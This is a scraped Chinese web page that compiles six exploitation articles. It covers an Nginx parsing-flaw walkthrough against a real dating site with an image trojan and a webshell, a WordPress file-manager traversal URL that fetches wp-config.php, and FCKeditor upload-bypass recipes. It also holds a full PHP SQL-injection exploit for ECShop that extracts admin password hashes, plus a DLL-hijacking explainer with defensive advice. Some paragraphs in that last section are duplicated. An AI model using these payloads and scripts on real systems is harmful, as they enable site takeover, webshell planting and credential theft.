欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>Nginx解析漏洞原理及其利用方法漏洞预警

Nginx解析漏洞原理及其利用方法漏洞预警

2023-04-23 08:28:09 收藏本文 下载本文

“犹怜草木青”通过精心收集,向本站投稿了6篇Nginx解析漏洞原理及其利用方法漏洞预警,下面是小编收集整理后的Nginx解析漏洞原理及其利用方法漏洞预警,仅供参考,希望能够帮助到大家。

Nginx解析漏洞原理及其利用方法漏洞预警

篇1:Nginx解析漏洞原理及其利用方法漏洞预警

Nginx解析漏洞已经是比较老的漏洞了,但是互联网上还有不少使用存在解析漏洞的nginx版本,

很久没写文章了,睡觉去去法客转了圈看到一片nginx漏洞的渗透文章,才发现自己似乎也没写过。

于是乎~~~

nginx解析漏洞是由于nginx部分版本程序本身的漏洞导致解析非可以执行脚本程序如PHP.

如下面两个假设在存在漏洞的站点上有一张图片url地址为:

1www.myhack58.com/logo.jpg  //假设存在这个图片

2

31

4

5而当我们正常访问,nginx会把这个当作非脚本语言直接读取传送会客户端(也就是浏览器),但是

6

7存在解析漏洞的nginx会把如下连接解析并且执行~:

8

91

10

11www.creturn.com/logo.jpg/a.php   //(老的解析方式)这样写的话nginx会把logo.jpg当作脚本解析执行后再输出

12

13www.creturn.com/logo.jpg%00.php //这个是7月中旬爆出的解析漏洞

这样的解析漏洞有什么危害?其实很多站的安全或者程序样做的比较严谨的话,就没办法直接拿下,但是很多社交类

或者交互类的站点上往往允许用户上传图片,如社交网站一般都会允许上传头像~这样如果有心人传送一个图马上去

就可以直接解析了,

好了,就拿一个实例来说明:

某交友网站:

看到这么多图片,嘿嘿~~~肯定有上传的地方。先注册个帐号。刚注册完就提示你上传照片。

上传一张事先准备好的图马。博客内有制作方法,可查询。

看到图片,还需要审核~~

右击图片审查元素(我用的是chrome浏览器):

可以看到图片的连接,不过不要高兴~~ 看到名称middle.jpg了没,如果你是程序员的话,你应该知道

为了减少服务器压力,图片资源也会被进行处理某些区域显示的只是缩略图,缩略图是经过处理的所以

图马是不起作用的。所以必须找原图,其实原图的真实地址就是把.middle去掉,为啥?因为原图肯定会

保存的,由于我的图片在审核(当然我的头像肯定通过不了审核了),如果审核通过可以点击查看大图

一般这个大图就是你的原图(理论上)。

好了上菜刀看看连接地址为:

1www.creturn.com/upload/picture/photo/006/65/26/503d136ee3aaf.jpg/.php

如下图,图片已经成功解析为可执行脚本:

稍微浏览了下,权限很松~~~

好了,还是希望各大站长能够对安全重视~

篇2:WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警

漏洞详解:packetstormsecurity.com/files/121637/WordPress-wp-FileManager-File-Download.html

查找漏洞网站:访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download,下载wp-config,其中回显MySQL,

WordPresswpFileManagerFileDownload漏洞利用方法漏洞预警

篇3:fckeditor漏洞利用漏洞预警

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp

可以自定义文件夹名称上传图片木马,利用路径解析漏洞,也可以直接上传ASP木马,

fckeditor漏洞利用漏洞预警

如果是ASPX的就将/asp/connector.asp后缀改为ASPX

Type=Image这个变量是我们自己定义的。比如:

fckeditor/editor/filemanager/browser/default/browser.html?Type=xiaosei&Connector=connectors/asp/connector.asp

篇4:FCKeditor漏洞利用总结漏洞预警

Fckeditor漏洞利用总结

查看编辑器版本

FCKeditor/_whatsnew.html

—————————————————————————————————————————————————————————————

2. Version 2.2 版本

Apache+linux 环境下在上传文件后面加个.突破!测试通过,

—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。

action=“www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=“post”>Upload a new file:

—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法

很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。

4.1:提交shell.php+空格绕过

不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。

4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。

—————————————————————————————————————————————————————————————

5. 突破建立文件夹

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

—————————————————————————————————————————————————————————————

7.常用上传地址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)

JSP 版:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文

件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址,

—————————————————————————————————————————————————————————————

8.其他上传地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

一般很多站点都已删除_samples 目录,可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址

Version 2.4.1 测试通过

修改CurrentFolder 参数使用 ../../来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏览盘符:

JSP 版本:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

—————————————————————————————————————————————————————————————

10.爆路径漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题

影响版本: FCKeditor x.x <= FCKeditor v2.4.3

脆弱描述:

FCKeditor v2.4.3 中File 类别默认拒绝上传类型:

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!

而在apache 下,因为“Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。

在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

篇5:ECShop2.5.x&2.6.x 注射漏洞利用漏洞预警

ECShop2.5.x&2.6.x goods_script.php 没有初始化SQL,导致注射漏洞

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:injection / admin credentials disclosure exploit

if (emptyempty($_GET['type']))     {         ...     }     elseif ($_GET['type'] == 'collection')     {         ...     }     $sql .= “ LIMIT ” . (!emptyempty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);     $res = $db->query($sql);

$sql没有初始化,很明显的一个漏洞:)

EXP:

#!/usr/bin/php <= v2.6.2 SQL by puret_t mail: cnhackerx at 163 dot com team:hi.baidu.com/5427518dork: “Powered by ECShop” +---------------------------------------------------------------------------+ '); /**  * works with register_globals = On  */ if ($argc < 3) {     print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' host path host:     target server (ip/hostname) path:     path to ecshop Example: php '.$argv[0].' localhost /ecshop/ +---------------------------------------------------------------------------+ ');     exit; }  error_reporting(7); ini_set('max_execution_time', 0);  $host = $argv[1]; $path = $argv[2];  $resp = send; preg_match('#href=“([\S]+):([a-z0-9]{32})”#', $resp, $hash);  if ($hash)     exit(“Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”); else    exit(“Exploit Failed!\n”);  function send() {     global $host, $path;      $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';      $data = “POST ”.$path.“goods_script.php?type=”.time().“ HTTP/1.1\r\n”;     $data .= “Accept: */*\r\n”;     $data .= “Accept-Language: zh-cn\r\n”;     $data .= “Content-Type: application/x-www-form-urlencoded\r\n”;     $data .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;     $data .= “Host: $host\r\n”;     $data .= “Content-Length: ”.strlen($cmd).“\r\n”;     $data .= “Connection: Close\r\n\r\n”;     $data .= $cmd;      $fp = fsockopen($host, 80);     fputs($fp, $data);      $resp = '';      while ($fp && !feof($fp))         $resp .= fread($fp, 1024);      return $resp; }  ?>

发布日期:-07.19

发布作者:Ryat  影响版本:ECShop2.5.x&2.6.x

官方地址:www.ecshop.com

篇6:DLL劫持漏洞解析漏洞预警

手中的全新武器

艾瑞2012年初发布的中国2011年下半年个人网络安全报告中,包含这么一个数据:2011年下半年十大热点木马中,其中5个是利用DLL劫持漏洞来对系统进行破坏的,DLL劫持漏洞到底是何方神圣,竟然占领了木马技术的半壁江山?

图1 艾瑞安全报告中利用DLL劫持技术的热门木马截图

DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运行必不可少的功能模块,是实现代码重用的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。

DLL劫持漏洞(DLL Hijacking Exploit),这个名字缘起微软在2010年8月23日发布的2269637号安全公告。这个漏洞是通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的一类漏洞的统称。利用DLL劫持漏洞,病毒木马可以随着文档的打开(或者其他一些程序正常行为)而激活自身,进而获得系统的控制权。

我们来看看DLL劫持漏洞到底是何方神圣。

高危害利用形式的爆发

DLL劫持漏洞伴随着Windows而存在,但是一直并未得到大家的足够重视。

直到2010年8月份,有 在安全论坛上公布了一种危害极高的DLL劫持漏洞的利用形式,迅速引起强烈的反应。随后,著名安全组织exploit-db公布了一系列存在DLL劫持漏洞的软件列表,其中可以发现大家十分熟悉的应用软件,包括:AutoCAD 2007、Daemon Tools、Winamp、Media Player Classic、Mozilla Thunderbird、Microsoft Office、Adobe Photoshop、Adobe Dreamweaver CS5、Skype、Snagit10、Safari、WinDVD、Opera、Firefox等等。

图2 PCHOME针对DLL劫持漏洞的新闻截图

简单的讲,安装了上述软件的电脑,当用户在打开一个图片、音乐、视频、BT种子、网页文件都有可能感染病毒。当攻击者利用DLL劫持漏洞构造一个特殊的DLL文件,将这个DLL文件和一些JPG、PPT、MP3、MPG、HTML文件共同打包,用户解压后双击打开这些文档,病毒即被立即触发。也就是说,不需要其他漏洞,不需要可执行文件,只需要鼠标双击打开别人发给你的音乐、视频或者图片文件,就可能感染病毒!难怪国外安全公司authentium在官方博客中描述DLL劫持漏洞时,甚至用“The world is going to end!”做标题。

不过此次**,随着网民们的关注和各个产品漏洞的逐步修复,逐渐平息下去。

演变和进化

DLL劫持漏洞的生命力绝不仅限于打开文件这种触发这种形式。通过这种形式的启发, 们逐渐找到了DLL劫持漏洞的更大活力。二年之后的今天,当我们再看这个漏洞时,它已摇身一变更具威胁了。

了解客户端安全的同学应该都知道,现在的安全软件大都会采取白名单机制,把一些大公司的程序放在安全软件的白名单中,白名单中的程序不会进行监控并默认信任,以减少误报率。

都说安全性和易用性是相悖的。白名单这个特性是使安全软件和受信任程序的使用都方便了不少,但是,同时也更加方便了广大 。我们都知道,软件工作时都需要这样那样的DLL功能组件,那么在安全软件白名单信任策略支持下,即使“安全软件”要加载的DLL是被替换掉的恶意DLL,安全软件都会被认为是合法、正常的行为。因此, 们就开始利用各大公司软件中存在的DLL劫持漏洞,堂而皇之的在安全软件眼皮底下加载早已准备好的恶意代码,入侵用户的计算机。至此,更具“劫持”特性的广义DLL劫持漏洞正式诞生。

本文开头艾瑞报告中提到的那5个DLL劫持木马,都属于这种漏洞形式。是的,你没有听错,就是它,占领木马激活技术的半壁江山。由于效果极好,是 们杀人放火,打家劫舍的必备大杀伤性武器。

刨根到底看原理

DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary来看。熟悉Windows代码的同学都知道,调用LoadLibrary时可以使用DLL的相对路径。这时,系统会按照特定的顺序搜索一些目录,以确定DLL的完整路径。根据MSDN文档的约定,在使用相对路径调用LoadLibrary(同样适用于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的DLL文件(会根据SafeDllSearchMode配置而稍有不同)。

1. 程序所在目录;

2. 系统目录;

3. 16位系统目录;

4. Windows目录;

5. 当前目录;

6. PATH环境变量中的各个目录。

而所谓的劫持的,就发生在系统按照顺序搜索这些特定目录时,

只要 能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。

微软的“设计缺陷”?

从上面的原理来看,LoadLibrary API并不会去检查即将要加载进来的DLL是好人还是坏人,不管是李逵还是李鬼都有酒喝、有肉吃。这点我们能理解,毕竟判断DLL是好是坏不是系统的事情,而是安全软件的事情。

同时,当使用相对路径调用这个API加载DLL时,就会触发上一节所述的神奇的动态链接库搜索逻辑。由于系统搜索的位置非常多,而且其中的许多位置都能轻易被 劫持和控制,给了DLL劫持漏洞很大的利用空间。

但是,微软认为以上这些属于系统特性,不属于安全漏洞而不做修改,微软官方的介绍及安全建议请参考这里:Dynamic-Link Library Search Order,Dynamic-Link Library Security。

比较有意思的是,从Windows 7的KB2533623补丁开始,微软给我们带来了三个解决DLL劫持问题的新API:SetDefaultDllDirectories,AddDllDirectory,RemoveDllDirectory。这几个API配合使用,可以有效的规避DLL劫持问题。可惜的是,这些API只能在打了KB2533623补丁的Windows7,2008上使用。

刨根到底看原理

DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary来看。熟悉Windows代码的同学都知道,调用LoadLibrary时可以使用DLL的相对路径。这时,系统会按照特定的顺序搜索一些目录,以确定DLL的完整路径。根据MSDN文档的约定,在使用相对路径调用LoadLibrary(同样适用于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的DLL文件(会根据SafeDllSearchMode配置而稍有不同)。

1. 程序所在目录;

2. 系统目录;

3. 16位系统目录;

4. Windows目录;

5. 当前目录;

6. PATH环境变量中的各个目录。

而所谓的劫持的,就发生在系统按照顺序搜索这些特定目录时。只要 能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。

微软的“设计缺陷”?

从上面的原理来看,LoadLibrary API并不会去检查即将要加载进来的DLL是好人还是坏人,不管是李逵还是李鬼都有酒喝、有肉吃。这点我们能理解,毕竟判断DLL是好是坏不是系统的事情,而是安全软件的事情。

同时,当使用相对路径调用这个API加载DLL时,就会触发上一节所述的神奇的动态链接库搜索逻辑。由于系统搜索的位置非常多,而且其中的许多位置都能轻易被 劫持和控制,给了DLL劫持漏洞很大的利用空间。

但是,微软认为以上这些属于系统特性,不属于安全漏洞而不做修改,微软官方的介绍及安全建议请参考这里:Dynamic-Link Library Search Order,Dynamic-Link Library Security。

比较有意思的是,从Windows 7的KB2533623补丁开始,微软给我们带来了三个解决DLL劫持问题的新API:SetDefaultDllDirectories,AddDllDirectory,RemoveDllDirectory。这几个API配合使用,可以有效的规避DLL劫持问题。可惜的是,这些API只能在打了KB2533623补丁的Windows7,2008上使用。

DLL加载安全之道

首先,对于会打开图片、音乐等各种类型文件的程序,分为以下三种情况处理:

A. 对于外部第三方DLL和自己的DLL:

1. 使用LoadLibrary API加载DLL时使用绝对路径,类似的情况还包括其他API如LoadLibraryEx, CreateProcess, ShellExecute等;

2. 将所有需要使用到的DLL放在应用程序所在的目录,不放到系统目录或者其他目录。

B. 对于系统共享的DLL(如user32.dll, mfc80loc.dll等),不能放到程序目录下时,应该:

1. 使用绝对路径加载;

2. 对于无法准确预测绝对路径的情况,可以使用相对路径加载。

C. 程序启动时调用API SetDllDirectory(L“”)将当前目录从DLL加载顺序中移除.

其次,对于广义DLL劫持漏洞,我们只有一种有效的处理办法:加载任何DLL前先校验文件的签名,签名没有问题的才能加载。

检测方案

DLL劫持漏洞的检测比较简单,可以在虚拟环境将程序运行起来,对其中的DLL加载操作进行审计,找出加载顺序中可能被劫持的点;还可以为程序构建一个“劫持现场”(自己做一个劫持并转发给正常DLL的DLL文件看是否执行其中代码),并检查程序能否真正规避DLL劫持的威胁。

【Nginx解析漏洞原理及其利用方法漏洞预警】相关文章:

1.CVE0497 漏洞利用学习笔记漏洞预警

2.Nginx 安全漏洞 (CVE4547)漏洞预警

3.马克斯CMS2.0beta (maxcms)SQL注入漏洞解析漏洞预警

4.毕业论文选题系统上传漏洞漏洞预警

5.网马解密初级篇漏洞预警

6.COCOON Counter统计程序漏洞总结漏洞预警

7.EFront 3.6.9 社区版多个漏洞漏洞预警

8.天下马ASP收信程序漏洞漏洞预警

9.bug漏洞处理机制系统bugtracker漏洞预警

10.稻草人企业站管理系统宽字节注入漏洞利用漏洞预警

下载word文档
《Nginx解析漏洞原理及其利用方法漏洞预警.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部